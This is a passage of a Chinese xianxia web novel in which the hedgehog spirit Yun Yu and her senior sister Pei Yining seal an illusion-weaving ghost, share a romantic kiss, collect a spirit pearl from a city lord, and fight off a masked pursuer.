你的这位裴师姐所经历的事情,我都可以告诉你。” 它诱惑云榆, 一颗眼睛凑近到不过几公分的距离,引得云榆厌弃地往后退了半步。 “幻境中的一切,都是根据入境中的欲念编造成的。”黑雾不厌倦地往云榆身前浮动。 绑在它身上的绳子往后一缩,它被拉离云榆身边。 裴依宁神色淡淡,一手抬起, 五指虚影攥住黑雾的一颗眼球。 压迫感使得黑雾言语中断刹那, 它终于意识到, 这女人虽然听小妖的话, 可自己的性命仍旧被牵在女人手中。 束缚住的眼球在女人掌心挣扎, 却被攥得更紧。 它望向那个瓶子, 不管怎么样,落在女人手中必死无疑, 看小妖的样子和小妖幻境中的一切, 并不知晓女人对她的心思。 它只需要一个契机,一个让小妖和女人放松警惕的契机。 黑雾不管不顾那颗要被捏裂的眼珠, 另一颗眼珠飞至云榆斜上方,迫不及待地:“幻境中……” 云榆默默打断它:“你能制造幻境?” 黑雾哽了下:“是。” 云榆:“幻境内的东西是无主之物?” 黑雾不知她所言,顺着回答:“乃是我幻化出的,自是归我所有。” 话音刚落,黑雾觉得不对,它将话题撤回到一开始:“你不想知道她在幻境中经历了什么吗?” 云榆自顾自地问:“那如果我学会幻境这招,是不是由我构建的幻境内的东西同样属于我呢?” 幻境内的东西是虚构的,无法拿到外界来,但当置身于幻境时,内里的东西是可以触碰的。 这是云榆根据她方才的经历总结出的。她可以感受到水流在指尖溜走,可以感受到湿润趴伏在肌肤上。 那么,幻境中所形成的食物,处在幻境中的人或妖也能品尝呢。 黑雾被她绕进去,一时间忘记回答,拳头大的眼睛被捞回,隐没在雾气中,它的身体再次被牵引,往透明瓶中拉。 云榆若有所思地盯着渐渐隐没的黑雾,对方还在质问她想不想知道裴依宁幻境中发生的事。 见她不回答,在黑雾入内,瓶口盖住的那刻,黑雾用尽最后气力,鬼力充盈整只瓶,烧焦的黑烟般整面都是灰黑色:“她想和你在床榻之间……” 随着瓶口彻底封住,黑雾的话被堵在瓶内,半点生息全无。 那只透明瓶被扔入空间储物中,裴依宁平静地吐出两个字:“聒噪。” 云榆才注意到黑雾后面的话:“和我在床榻之间?” 裴依宁收起药鼎,指诀掐动,围着她们的那只圆圈被风雪覆盖:“给你在床榻之间,谈论道义。” 云榆:“……” 她踩在碎冰上,脚尖踢踢踏踏回来数次,不知在思索什么。 裴依宁提起那只灵剑,朝天空丢去,清润的声调拉回云榆游离的思绪:“在想什么,还不走吗?” 云榆“啊”了声,脚尖掉地,落在剑身,操控剑身折回:“在想,这么快就结束了。” 不是说很多散修都死在鬼物手中吗?可如今看来,却也没多厉害,这般轻松被收入瓶中,甚至幻境全程,都没有鬼物出现,更没有攻击性的事物。 那些散修是怎么死的。 她欲念不深,我引诱不到她。 黑雾的话回在耳边,裴依宁垂目,身前人还在絮叨:“这鬼物好像没多厉害。” 裴依宁弯下唇,漫不经心道:“人都有欲念,死在自己的欲念之下罢了。若是没有欲念,自不会死在这等鬼物之下。” 云榆似懂非懂地点点头:“那我和师姐就是没有欲念的那类。” 裴依宁:“……当实力远高于鬼物时,也不会有事。” 云榆深表赞同。 御剑的速度降下来,云榆叹息:“师姐,其实我有被引诱到。” 裴依宁莫名紧张:“嗯?” 云榆道:“我看见好多灵石,还有好多吃食,那些灵石看着好亮,吃食闻着好香,”她咽下口水,“但那些不是我的。” 裴依宁提醒:“看见别的吗?比如,看见某个人?” 云榆迟疑地点头:“有,但我看不清她的脸,只隐隐约约一道影子,感觉……离我很远,又好似离得很近。我靠近不得,总是保持着能见不能看清的距离。” 即使她使用灵力注入眼睛,也无法看清那人。 除此之外,再无其她人存在。 裴依宁两指碰到一起,轻咬下唇。 人影,那道人影会是谁。 她应当将黑雾抓回来问的。 御剑至海的尽头,城池的边缘,灵剑缓慢下降至数公分的高度。 裴依宁先一步落剑,云榆收剑入灵海。 守在附近的两名守卫匆匆跑开。 是向着城主府的方向而去。 裴依宁暂时没有与城主相见的打算,弹出一点灵力附在其中一名守卫身上,只待见到城主,灵力会化成一行文字。 告知对方,它日,她自会登门拜访,收取灵珠。 一笔带过鬼物已经收走之事。 云榆道:“师姐,那鬼物所拥有的幻境之法,我可以学吗?明越宗有相关典籍记录吗?” 她曾经在明越宗见过一些偏门功法,其中不乏入梦,绘灵等,但对于幻境的构建,印象中,不曾见过。 裴依宁:“有是有,幻境构建分为数种,但都需要极强的精神力。这鬼物所拥有幻境能力,是通过心中的欲念编织而成。当然,亦有构建者自行编织的幻境。” 她问:“星星想学哪种?” 云榆轻点下巴,苦恼的样子,她自是想学带有攻击力的,但这两种,听起来都不怎么厉害。尤其是鬼物拥有的那种,对她半点伤害都没有。 权衡之下,云榆希望裴依宁给她做决定:“师姐觉得哪种好?” 裴依宁:“欲念编织成的幻境,会更适合你。”她饶有深意,“不是所有人或妖,都如你这般,无欲无求。” 头疼。 云榆“哦”声,独自对比。 她想得认真,不期然迎面撞上原以诗和风浅念。 额头搭上一只温软的手,止住她前进的步伐。 云榆茫然地抬起头。 裴依宁收手:“原师姐,浅念。” 云榆下意识:“原师姐,风师姐。” 风浅念一如往昔地温和,她轻轻牵住原以诗的衣袖,往旁侧移动几分,她歪头浅笑:“见到那鬼物了吗?” 裴依宁:“已经解决了。” 风浅念略有惊讶:“这般快吗?” 她和原以诗刚准备离开此地,这两人便处理好这边的事了,于是乎,她问:“依宁,左右这边的事已经结束,你和云师妹要与我们一同去吗?” 裴依宁道:“不了,我和她在这还有旁的事,鬼物这些年收集的鬼力自是不能浪费了,我打算让云师妹将其吸收,后续行程……”她玩笑地道,“我们还是不打扰你和原师姐的好。” 风浅念脸颊显出浅浅的酒窝,难得露出几分腼腆的神色,却也不曾否认:“既然这般,我同原师姐就先走了。” “再会。” “再会,”原以诗对着两人微微颔首,自然地反手,牵住拉住她袖子的那只手,眼底漾起点点涟漪:“走吧。” 面前人让出路,原以诗牵住风浅念的两根手指,虚虚地勾着,反方向而行。 云榆扭过头,视线在并肩而行的两人身上转动,她察觉出两人身上暗流涌动的气息,有种贴而未近的错觉。 似是很亲密的关系,又有种浅淡的,说不上来的……距离感。 一只手在她眼前晃动,云榆身体一颤,掀起眼帘,对上裴依宁那双幽深的眸子,被抓包的心虚感油然而生。 云榆支支吾吾地:“你……师姐?” 裴依宁半挑起眼帘,鸦羽般的睫毛颤动着,在下眼睑投射下一层薄薄的阴影。 午时的金芒落在她的侧身,她的大半边脸颊因客栈遮挡住阳光,投在昏暗中。 明亮的晃眼与暗处的光影交叠。 云榆恍了神,那道在幻境中的人影,似乎也是这般。 念想一闪而过。 裴依宁轻声问:“方才,在看什么?” 风浅念和原以诗已被传送符纸送去了不知名的地方。 云榆眨过眼,上下眼睫一合,实话实说:“在看风师姐和原师姐。” 裴依宁:“嗯?” 挡在客栈门口不好,云榆索性坐在门前的一级台阶边缘,双手撑着下巴:“风师姐和原师姐的关系是不是很好,就像是我和师姐的这种亲密关系一般?” 记忆中,各大峰阁的大师姐好似都鲜少与其她人有过多交流,有关她们,听闻最多的是,今日某某峰阁的师姐闭关,某某峰阁的师姐出关了。 譬如原师姐,曾经闭关二十年。 几人中,好似只有风师姐与宗门师姐妹们交流最多,也是闭关次数最少,性格最好的一位。 云榆忽地想起,自己曾经当着某位师姐的面,说她不近人情。 偷偷睨眼裴依宁,好在对方没有旧事重提。 当着本人的面,说本人的坏话。属实尴尬。 回想和裴师姐的相遇,也算是歪打正着。 裴依宁凝视着她们离开的方向,这些年,间或出关期间,她对于原以诗和风浅念之事多有耳闻。 多是纳兰然同她说的。 偶尔,她前往器物堂,也能察觉出一二。 只是让她不得其解的是,风浅念算是原以诗一手带起来的,这么多年,她对风浅念的心思,她们好友几人之间都明了。 就连风浅念自己都知晓。 她们现在的交流行为比先前更为亲密,为何还没透出成的消息。 裴依宁语气复杂:“或许是。” 回到房间内,裴依宁将那只本该透明的灰黑色瓶子放到桌面。 黑雾被无限压缩,眼球与正常人无异,圆滚滚地转动,没了在冰层时的肆意妄为,龟缩在瓶子一角。 裴依宁指尖灵力勾动,灵光晃动着小尾巴,交织出纹路复杂的图形,端出一方符咒,烙在瓶身。 瓶子登时震动起来。 黑雾惊恐地在瓶内横冲直撞,却怎么也逃不出这方小小的束缚。 云榆化成了小刺猬,趴在桌面一角。 在裴依宁停止施法后,瓶内的黑雾颜色淡了几分,一颗黑如墨的小珠子叮铃掉在瓶底,沿着平底的纹路滚动起来,左右摇晃地慢慢稳下。 黑雾包裹住那颗黑子的珠子,奈何鬼力被炼化大半,如何都捞不回那颗珠子。 数次后,黑雾仿佛认命了,一团黑气上浮,贴着着瓶盖,以至于瓶子上半点是黑墨,下半段恢复成透明色。 小刺猬翻滚到瓶边,四肢摊开地趴下,一瞬不瞬地注视着那枚黑色的珠子。 看着看着,瓶子被提起,小刺猬的小脑袋一点点随着瓶子抬起,最终够不到高度,才是皱起小眉头,哼哧哧地喷出两口气。 裴依宁一掌合在瓶底,取出那枚黑珠子。 她两指夹着鬼珠,递到小刺猬鼻间,清楚地看见小刺猬鼻头耸动,两只爪子跃跃欲试后,她带着鬼珠在小刺猬可触碰到的范围内来回转动游走。 小刺猬提着脑袋,晶亮的眼睛跟随着鬼珠。 那是一种对于小刺猬来说,与食物截然不同的香气。 她想吃。 那颗鬼珠总是悬在她的前方,明明近到张嘴可食,偏偏几次三番地连碰都碰不到。 小刺猬支起下肢,猛地向着鬼珠方向一扑,那珠子随之上深数个高度。 小刺猬折身,继续扑去。 数次下来,小刺猬累得气喘吁吁,她看向那个坏心眼的女人,双爪举重般不断上下,表达自己的愤怒。 她张开下肢,定住鬼珠所在方向,一个前扑。 这次下肢的力度够大,速度够快,然,在即将碰到鬼珠的刹那间,裴依宁手往背后一藏。 小刺猬与鬼珠失之交臂,她收力不及,直直地跳出桌面范围。 裴依宁伸手去接小刺猬。 但小刺猬被戏耍数次,颇有傲气地往旁一偏,与裴依宁擦肩而过。 缩成球的身体冲到地面,在惯性下直直地往前滚动,直到撞到一处阻拦物,才堪堪停下。 小刺猬刺上沾上尘土,刺尖抹上点点灰色。 脑袋被撞的晕乎乎的,好在阻拦物不是什么太硬的东西,小刺猬喝醉酒般跌跌撞撞地走了两步,最后扶着阻拦物,用力摇摇脑袋,爪子扶住额头,缓慢清醒。 可恶的人,就会欺负她。 小刺猬龇牙咧嘴,愤愤不平地要去找人算账,一抬头, 那条阻拦物是裴依宁的腿。 小刺猬:“……” 火气腾地燃起来,她挥动拳头,一下下砸在裴依宁的腿上。 但隔着一段距离,小刺猬的爪臂根本无法碰到对方,小刺猬更加生气了,气音发出的更大。 她一下子跳到裴依宁的鞋上,抓住女人的衣摆,用力捶了两下裴依宁的小腿,尤不解气地抱女人的腿,张嘴,一口咬上女人的腿。 隔着衣衫,小刺猬的嘴巴张的不是很开,但这不影响小刺猬的发挥,一连咬了数口,小刺猬“呸”地声,吐出咬出的线丝。 “笨蛋!”小刺猬仰头大叫,“你是笨蛋!” 这一声从下传到上面,音量都不低,可见小刺猬这次真的是气狠了。 的确有些过分了。 小刺猬这般爱面子,自己逗弄她就算了,还让妖扑倒地面,狼狈地滚了那么几圈。 裴依宁蹲下身,拎起小刺猬的后颈。 小刺猬四肢乱蹬,气还没消下去:“笨蛋,你是笨蛋!” 小刺猬形的她过于鲜活了,比人形的不知道多了多少生气。 裴依宁提起小刺猬,到头顶斜上方,小刺猬的肚子露出:“星星,怎么还会咬人了?”咸朱腐 小刺猬知道蹬不到她,没有收着力,一下下地踢着:“要你管!” 裴依宁“嗯嗯”两声:“是,管不了,”她忽而来了句,“你人形的时候,敢这般与我说话吗?” 小刺猬蹬打的动作顿了下,随即更加激烈地反抗:“笨蛋,你今后别想看见我的人形!我不会再变成人形了!笨蛋裴依宁,你是笨蛋!快把本星星大人放下来!” “咚”,脑袋被敲。 裴依宁捂住一边耳朵,无奈地:“安静点,星星。” 小刺猬炸毛了,浑身的刺竖起,下肢一个晃动,勾上裴依宁的手腕,爪子则是抱住裴依宁的手背,嘴巴一张,又是一口。 裴依宁眼疾手快,拇指抵在小刺猬口中:“不可以用本体咬我。” 小刺猬不服气地咬住她的拇指。 雷声大,雨点小,并不怎么用力,上下牙齿磨在裴依宁指节处,含糊不清:“放我下来。” 裴依宁今日不知怎得了,将小刺猬逗得炸毛了,仍旧不松开,反倒是继续惹小刺猬。 她红唇张合:“不放。” 小刺猬气得牙痒痒,第一次被裴依宁欺负到这个份上,气极反笑,她松开嘴,放出裴依宁的拇指,随即脑袋重重磕在裴依宁手背。 白皙的肌肤顷刻间漫上一层红色的头印。 “嘶,”小刺猬捂住额头,“好疼。” 撞人不成反疼到自己,小刺猬觉得自己受到了挑衅,但她本体着实奈何不了裴依宁,咧着牙,小爪子不断捶在女人的手腕上发泄怒火。 “坏人,笨蛋。”小刺猬念念有词。 “嘶。”又是一口倒吸凉气声,裴依宁脸色一变,放下小刺猬。 小刺猬刚被放下,不明所以,疑惑地等了两秒,紧接着就要去找回刺猬丢失的脸面。 却见裴依宁提起衣摆,腿上的衣裳往上一卷,白皙如玉的肌肤上密密麻麻地溢出十数个血点。 殷红的红糊住血点,一眼看去极为骇人,在血点上方,是几枚小小的牙印。 不深,在血点的映衬下,平平无奇。 小刺猬抬起的爪子停在裴依宁小腿前,带有怒气的爪子抚摸上女人的肌肤。 瑟缩地收回爪子,气势汹汹的小刺猬被当头泼下冷水,气焰全无。 那血点一看便知是密集的东西扎的,而在这之前,只有她一只小刺猬靠着裴依宁的腿止住了滚动的身体。 她脊背的刺扎伤了裴依宁。 霜打的小刺猬小心翼翼地看向裴依宁,声音小小地:“我不是故意的。” 顾不得裴依宁欺负她,小刺猬从空间储物取出一枚丹药,伸长手臂喂女人:“给你吃。” 想到许久前,因搬石头磨破手,裴依宁给她的拥有奇效的药膏,她取出放到一边。 小刺猬四肢并用地拽着手帕在干净的手中摆摆,拧干水份,擦去腿上的血点。 没了血迹覆盖,那些孔洞看着没那么骇妖了。 小刺猬捻起一抹药膏,涂抹到女人的小腿:“疼不疼?” 裴依宁隐去眼底的笑意,放低了声音:“疼……” 这声音,软软的,怯怯的,与早时御剑前往冰层时一般,听得妖心都软成一滩水了。 小刺猬撑着气势:“活该,让你欺负本星星,”还是心疼的,小刺猬道,“很快就会消的,等伤消了,我再给你揉揉,现在都是药膏,揉了会影响伤口恢复的。” 她当时要是没有那么用力,没有扑到地面,裴依宁就不会用小腿挡住滚动的她,也就不会受伤。 小刺猬懊恼不已:“我不是故意的。” “没关系,是我不对,不该那样逗星星的,”裴依宁软声道歉,“跟星星没有关系。” 她提起小刺猬,这次小刺猬没再反抗,四肢连带着小脑袋自然垂落。 裴依宁将那枚鬼珠递到小刺猬唇边:“所以,星星能不能原谅小跟班。” 小刺猬闷声闷气:“我没生你的气。” 裴依宁弯唇,将小刺猬提到床边:“还是有些疼。” 小刺猬急忙道:“你别乱动,有什么事我去做,你好好恢复。” 那点腿伤,若是不早点让小刺猬发现,这个点恐怕都要愈合了。 裴依宁点着小刺猬的脸颊,哄她:“星星说,以后不用人形出现在我面前……” 小刺猬:“那是气话。” 裴依宁:“真的吗?” 小刺猬麻溜地滚到一边,身形一晃,人形摊开来。 云榆蹲下身,查看裴依宁的腿伤:“我化成人形了……咦,这么快恢复了?” 哪里还看得到血点,皙白滑嫩,完好无损。 云榆:“……” 怎么感觉被骗了。 她暗暗咬牙,却没了小刺猬形的嚣张气焰:“师姐,伤好了。” 裴依宁心中笑她的两幅样子,面上却是:“外面好了,里面还是疼的。你的刺能扎多深,你自己不知道吗?” “你化成小刺猬打我的时,下手可没个轻重,又捶又咬的。” 云榆愧疚:“师姐,对不起,我本体时,总是会抑制不住本性。” 裴依宁朝她招招手,云榆迟疑地将下巴磕在她的掌心,女人倾身靠近她:“亲亲师姐,当是补偿师姐受的伤,可好?” 作者有话说: 县注服 小刺猬:怎么感觉不对 第75章 第七十五章[VIP] “可好?” 裴依宁的声调总是很好听, 两人单独相处时,那种缱绻的尾音更为明显,云榆素来拒绝不了这样的师姐。 她缓而慢地移动脑袋,心跳砰砰直跳, 明明已经好几次的进行这种所谓的亲密关系, 可每每还是会紧张。 更何况,这是她第一次主动维系这种亲密关系。 她抚住师姐的双肩, 红润的唇似在微微颤抖, 指骨抓紧女人肩头衣衫,又不想过于明显, 强忍着心底的悸动,放松身体, 连带揪紧的衣衫从她的指骨脱出。 细密的褶皱在无形中舒展,留下印痕难消。 云榆喉咙滚动,手臂向前伸,将裴依宁圈在她的臂弯中,单膝跪在床面, 另一只腿为了更好的稳固身形, 卡在裴依宁的双腿之间。 她侧着头, 调整姿势。 那张精致茫然的脸颊放大又缩小, 来来回回, 有时往左, 有时往右,却怎么都不肯落下。 裴依宁并不着急, 她足够主动, 剩下的,该轮到云榆。 否则以对方这种不开窍的榆木脑袋, 恐怕耗上不知多少年月,都不定能明白她的心意。 半柱香的时间,再如何旖旎的氛围都能被消磨殆尽,裴依宁脖颈有些酸,她微微上前一点。 面前还在找寻位置的小妖惊弓之鸟地抖过,意识到反应过大,云榆缓缓轻吸数次,待到胸膛跳动不再那么明显,肌肤上渲染的红意消散。 她以额头相抵,笨拙地学着裴依宁过往的方式,斜侧过头,鼻尖点在一起。 气息交织碰撞,熄灭的旖旎复燃,躁动的心意不断,云榆闭上眼,双唇含住裴依宁的上唇,含在口中,吮吸,慢啄。 晶润的液体打湿唇瓣,云榆渐得佳境,不觉中熟练起来。 她卡住裴依宁的后脑,微微使力,按向自己的方向,强势地,凭借妖族的本能,如对食物的渴求。 她一遍遍地,乐此不疲的,含住上唇,松开,再含住下唇。 柔软的,有些甜,逐渐不满足这种浅尝辄止,她想要更加深入的入内。 舌尖在裴依宁唇上舔过,怜惜而克制地分开。 裴依宁眼眶发红,肌肤因缺氧腌成苹果色,清明的眼神中带过几分朦胧的失神。 云榆寻觅到掌控的趣意,世间再好的食物都比不上此刻的师姐。 她五指没入裴依宁乌黑浓密的发中,抚上师姐泛着水光的唇角,身体不自觉地往师姐身上贴去,鬼使神差地,她坐在了裴依宁的腿上。 “师姐,”云榆柔声唤面前的女人,“补偿够了吗?” 裴依宁哽住,忽觉小妖是不是已经开窍了。 主动的她有些难以招架。 呼吸尚未平顺,小妖五指在她发中挠到数次,呢喃自语:“看来,是不够的。” 师姐不答,便是默认补偿不够。 云榆自有一套理解方式,她将师姐的脑袋重新压回到身边,唇齿相接。 可到底是半开窍,蠢蠢欲动的念头牵动云榆,总是找不到发泄的点,甚至亲吻,都只敢停在最浅薄的层面。 求学者,渴望新的知识,但无人引领,只能独自探索。 她越来越急,越急越难忍,如此循环不断。 肩膀被小动作的推拒,云榆适可而止地放开师姐,哑声:“师姐?” 雾气弥漫在裴依宁眼中,她手背虚虚落在唇上,小口的呼吸,身体软的若非云榆一只手插在她发中,她早已无力地向后倒去。 有些过了。裴依宁暗想。 云榆气息不稳地:“师姐,补偿够了吗?” 裴依宁垂下眸子,闭眼,忍住靠近云榆怀中的冲动:“够了。” 云榆就这般坐在裴依宁腿上,丝毫没有离开的意思,裴依宁想做而未敢做的事,被云榆轻而易举的做到。 她靠在裴依宁怀中,侧脸贴着师姐,聆听对方心脏一声比一声的跳动声。 师姐,与她一般。 云榆的忧虑少了几分。 “师姐,”云榆缓缓闭上眼,半黑半明的空间中,在幻境中若影若现的人影逐渐清晰起来,“我好像……知道幻境中人大概的面容了。” 裴依宁心脏止息一瞬,随即更加激烈地跳动起来。 裴依宁听见自己冷静克制的声音:“什么样?” 云榆轻轻摇头:“不告诉你。” 那幻境是由心中的欲念编织而成,而那个长相形似师姐的人出现在她的幻境中,是不是说明…… 云榆额头青紫色的筋脉浮现,回忆起方才亲吻时的口感,她咬紧后槽牙,脸颊绷起。 余光瞧见方桌上的透明瓶,那团黑雾在做无用功地顶那方瓶盖。 自是不可能顶开。 云榆转移话题:“师姐,那枚鬼珠,我吞下后,并无任何反应,是还需要什么吗?” 裴依宁:“鬼珠存于你体内,自是需要炼化成你的所有物。但暂时莫要炼化,待到与灵珠一同炼化,对你提升修为帮助更大。” 怪不得师姐寻游心城主要的报酬是灵珠,是一开始就为她做打算了。 云榆点点头:“好。” 裴依宁道:“不急于一时,你可先学习幻境之术,午后,师姐需得去一趟城主府,你一人在此,可以吗?” 云榆:“我与师姐一同。” 裴依宁:“你留在这,这鬼物需要有人守着。” 分明可以带着鬼物一同去,师姐这是明摆不愿带她同往,云榆不再强求,很小声地“嗯”了声。 裴依宁还在想她幻境中看见的人是谁,云榆这般回避,极大可能性,那人会是她…… 也只能是她。裴依宁眯起眼睛。 午后,在客栈简单食过一餐,裴依宁独自前往城主府。 一路上畅通无阻,各式店铺大门紧闭。察觉到一道强烈的视线,裴依宁仰头望去。 正与在客栈房内半开窗户朝外看的妖的目光对上,裴依宁停下脚步,唇边扬起一抹弧度。 云榆跟着弯下唇。 下方的人继续走动,直至身形彻底消失在视野中,云榆方依依不舍地合了窗,百无聊懒地瘫坐在圆凳上,懒洋洋地趴伏着。 黑雾被夺取鬼珠,又挣脱了那般久,早已无力地缩在瓶内一角,两只变得正常的眼睛老实地合在瓶底。 看上去颇有些骇妖。 云榆不咸不淡地撤回视线,伏在桌上半梦半醒。 那端,裴依宁如入无人之地的进入到城主府,府门前有数名守卫见到她,没有阻拦的举动。 想来是从出客栈,一路到此,都有人跟着,时刻传递信息到城主府内。 不过前脚踏入府中,后脚游心已亲自至府门前迎接她:“阁下,一日未见,昨夜可睡好。” 这座城主府并不算宏伟,门前顶上的那方牌匾经年累月下,挂上风霜与落寞。 着实显得落魄了。 裴依宁莫名担忧这样的府邸内,是否能拿得出她想要的灵珠。 她在外性情淡漠许多:“劳城主挂心,一切安好。鬼物已处理完,我来取我所要之物。” 即使有所猜测,可还是被眼前人的速度惊叹道。自她与那位云小友回剑落地,她便收到了消息,原以为只是她们去那探查了番。 可当收到裴依宁落在其中一位守卫身上文字时,她方知晓,那鬼物已被解决。 游心态度越发恭敬:“阁下,里面请。” 议事殿内落座,有侍者端茶倒水,糕点水果纷纷摆下,满满登登,好不热闹。 裴依宁捻起一枚葡萄,夹在指尖,不知在寻上方的何物。 高人行为难测,游心斟酌语气:“多谢阁下为本城扫清困扰多年的事,为表感谢,阁下所求,在下定然倾力完成。” 裴依宁:“用不着那么严重,我要的东西很简单,”那枚葡萄被放在茶碗边,“不知城主这灵珠储量如何?” 游心道:“有百十枚。” 裴依宁又问:“水属性灵珠有么,最高品阶是何等?” 游心略一思索:“有,最高的,不过黄灵,”说完,她起身道,“若是阁下需要,我可去别处城池寻得更高品阶的。” 黄灵,恰与云榆的修为等同,再高,并无过多用处。 锤定之下,游心唤来侍女去取那枚灵珠,短短时间内,议事殿内安静无声。 裴依宁转动茶杯,杯中茶水自倒入到今都不曾缺少多少。 这茶不符合这人的胃口。 游心有了定论:“不知阁下可否告知是哪宗哪派之人,它日……” 裴依宁:“不必。” 她无意未来与无意义之人交织过深,此行本就是因着云榆而来,如今所要的东西都已得到。 今后,会不会再来此地都未可知。 游心默下两秒,道:“其实,我尝试过许多方式对付那鬼物,但好像总是逃不过那鬼物编织而成的幻境。” 人性的欲念是无穷尽的,即使她再如何克制,都无法做到真正地抛弃欲念。能从鬼物中活着出来,已经是她最好的结局了。 后来,她再不敢踏上那层冰层,冬日时,为免陷入鬼物的幻境中,城主府亦是启动多种阵法保护。 索性那鬼物修行不深,破不了阵。 几年的时光一闪而过,起初还有许多散修愿意尝试抓取鬼物,无一例外,都已失败告终,后来,渐渐的,也就没有散修再去尝试了。 裴依宁神情淡漠:“所以,你明知道鬼物会编织幻境,昨日前来,却刻意遗落了这点信息。” 游心苦笑:“是。” 不止是云榆和裴依宁,过往的散修进入其中,她都没有告知过。 她有私心,她怕告知后,这些人便不入内了。 裴依宁曲指,有节奏地敲击扶手。 游心浮躁道:“我只是希望能将鬼物除去。若是宗门之人都无能为力,再过几年,这城真的要成空城了。” 侍女低头捧着一方木盒入内,盒盖打开,一枚好似流动着的珠子静悄悄地躺在其上。 释放出的灵力微弱,淡淡的黄光包裹在灵珠表层。 在游心的示意下,木盒被端到裴依宁身前,女人不与她客气,收入空间储物中。 她作别:“事已成,告辞。” 游心还想说什么,可因着裴依宁那句不紧不慢,如谈话般的质问,张张口,一句声调也发不出。 从城主府外出来,那股似有若无的气息明显几分,空气中灵力波动一瞬,被敏锐地捕捉到。 裴依宁换了个方向,走到客栈需要绕点路,但扩散的灵识将这处摸得清楚。 往前百米,就是一处面积偏大的空地。 是街道的交界。 立于街道交界处,裴依宁停步,头也不回地:“跟了这般久,是该出来见见了吧。” 身后寂寥无声。 裴依宁转身,一片树叶落在她的指尖,蕴着炽烈的火焰,射向空无一物的半空。 空气剧烈波动,灵力余波散出,那片树叶竟是隐没在了天幕中。 下一秒,一道人形出现,捏着那团带着火焰的叶片,心有余悸地看了眼裴依宁,快速蹿动起来。 那人蒙着面,装束简易。 裴依宁弹指一曲,一道道火焰长链甩下,火舌染红了天际,这方天地的温度不断上升。 灵力汇聚在指尖,快速地勾画出一行符咒,裴依宁低喝:“定。” 又是一行符咒落下,裴依宁向前一点:“落。” 一行符咒禁锢空间,一行符咒飞向那人。四周的锁链拉扯延伸,虎视眈眈地缩小蒙面人的活动范围。 知道不可能这般简单出去,跟随的那人狠狠一咬牙,抽身而反,手腕上的装饰竟是直接幻化成了一把弓箭。 她曲指搭在弓弦,被雷电缠绕的箭羽凝结而成,雷电炸裂,蓝紫色交融包裹,细密的电流以箭矢为始,蛛网般扩大。 她对准裴依宁,指松,箭羽飞奔而出。 裴依宁掐下指诀,一条火焰长链重重砸在箭羽之上,竟是只偏离了半点箭羽的方向。 裴依宁侧身,箭羽直入她适才站的位置。 再一抬眼,弓弦再度被拉满,三支爆裂的箭羽封锁退路。 地面铺上一层电流,裴依宁斩下插入地面的箭羽,凝神望着奔袭而来的另三支,横剑劈砍,挡去。 火属性灵力吞吐着焰火,炙烤箭羽。 趁此时机,那人猛地朝着天空射下数箭,将定住的空间打得摇坠不稳。 她要逃出去。 长久之下,在裴依宁定住的空间内,她万不可能坚持多久。 但裴依宁怎会给她逃离的机会,脚尖点地,凌空而起:“你是何人?” 蒙面人只一味地攻击,在其中一箭后,她终于得以逃出,身形飞速地向后倒退数百米,遥遥望着裴依宁的方向,勾上蒙面的一端,摘下。 与此同时,蒙面人扔下一张传送符,身形瞬间消失。 裴依宁没能看见蒙面人的样貌。 她落于地面,锁链湮灭。 此地距离城主府不远,加之没有设下结界,打斗的动静引得城主府内人注意。 等游心带人赶到时,一切已经结束。 未散尽的灵力中混着火属性与雷电属性。 游心:“阁下。” 裴依宁撤下灵力,一瞬不瞬地望着蒙面人离去的方向。 那人到底是谁,为何会跟着她们,又为何以蒙面的形式出现。 裴依宁收回目光:“游城主,在下还有事,这里,劳烦帮忙处理一下。” 地面上尽是打斗的痕迹。 游心:“这是我份内之事,来人。” 无心与之继续客套,裴依宁快步而回。她只感觉到蒙面者一人的气息,应当是只有她一人。 客栈门前有她留下的后手,一旦有生人踏入,她能立刻感知到。 此刻,云榆半趴在窗边,远方的天际形成绚烂的橙红色,间或夹杂着蓝紫色的强光。 而在其中,有两只黑点漂入其中,仔细一看,是两道人身。 波及到她这的灵力不算多,可还是让她感到心悸。 究竟是何人在这座几近成空的空城内打斗。 但没持续多久,打斗结束,一人隐没天地间,一人坠下。 莫不是师姐在与人打斗。 师姐的灵力属性便是火。 她的修为暂且感知不到过多的信息,是以一直在这观望。 若其中一人真的是师姐,她去,无疑是给师姐拖后腿,打斗之时还要分身顾及她。 需得快点提升修为。 云榆想。 好在很快,云榆看见街道尽头出现的人。 不过数秒间,那人就走到客栈下方,抬头。 云榆招手:“师姐。” 压在心间的石头落下,裴依宁径直腾起,落在窗外的一小截木栏上。 云榆赶忙让开位置。 裴依宁身形晃动间来到房内。 云榆:“我以为师姐会从窗户这钻进来。” 她位置都让出来了,师姐怎么就没有钻呢。 裴依宁取出那只木盒,递过去:“钻进来?” 云榆一本正经地比划:“就是,从这里钻进来。” 裴依宁:“……” 这窗户说大不大,说小不小,四四方方,若是钻过来钻过去,指不定多狼狈。 师妹竟是想看她钻。 她冷飕飕地看过去:“你钻给我看看。” 云榆:“我钻了,师姐钻吗?” 裴依宁只是看她。 云榆被看得心底发虚,摸摸鼻子:“既然师姐想看,我自是会满足师姐。” 她偷偷咧嘴,这种窗户她不知钻过多少遍了,早已聊熟于心,更何况,她还有作弊的方式—— 她化成了小刺猬。 对于小刺猬的体型,这窗户简直不要太大,她蹦跳着来来回回,熟稔地扶着木框往返。 末了,得意道:“如何,师姐。” 裴依宁:“……” 她说:“回来。” 小刺猬“哦”了声,老老实实地回到房内,未免某个黑心师姐逗她本体,她进来后,蹲下身,化回人形。 云榆没顾得接的木盒被暂放到一边,没忘记正事,裴依宁问:“你在这,可遇见什么奇怪的人。” “奇怪的人?”云榆重复,摇头,“没有,”想到方才遇见的打斗画面,“师姐,你呢,可有见到上空有两人交战。” 裴依宁没有隐瞒的念头:“是我与一人。那人蒙着面,一路跟着你我,目标许是你我中的一人。” 但与那人打斗时,给她的感觉是,蒙面人并非想要与她交手,甚至于每次的攻击都以破开空间为主。 可为何要跟着她们。 云榆收敛笑容,她和裴依宁临时决定出来,就连她都是到了地方方知晓师姐选定的是此地。 云榆问:“师姐知那人是何时跟着我们的吗?” 裴依宁道:“从我们除掉鬼物,回到此处后。” 那时,她感受到陌生灵力的波动,但不排除在更早之前,就被人跟随了。 “不过那人恶意不深。”裴依宁打开木盒,取出藏在里面的灵珠,“我在她身上,没有感受到杀意。” “算了,那人已走,多想无益。这几日,我们会留在此地,你将鬼珠与这枚灵珠炼化。至于幻术,等回宗后,我去藏书阁寻适合你的。”裴依宁注意到云榆神色变化,“怎么了?” 云榆沉默片刻:“师姐,我不打算学幻术了。” 裴依宁:“怎得突然改变想法了。” 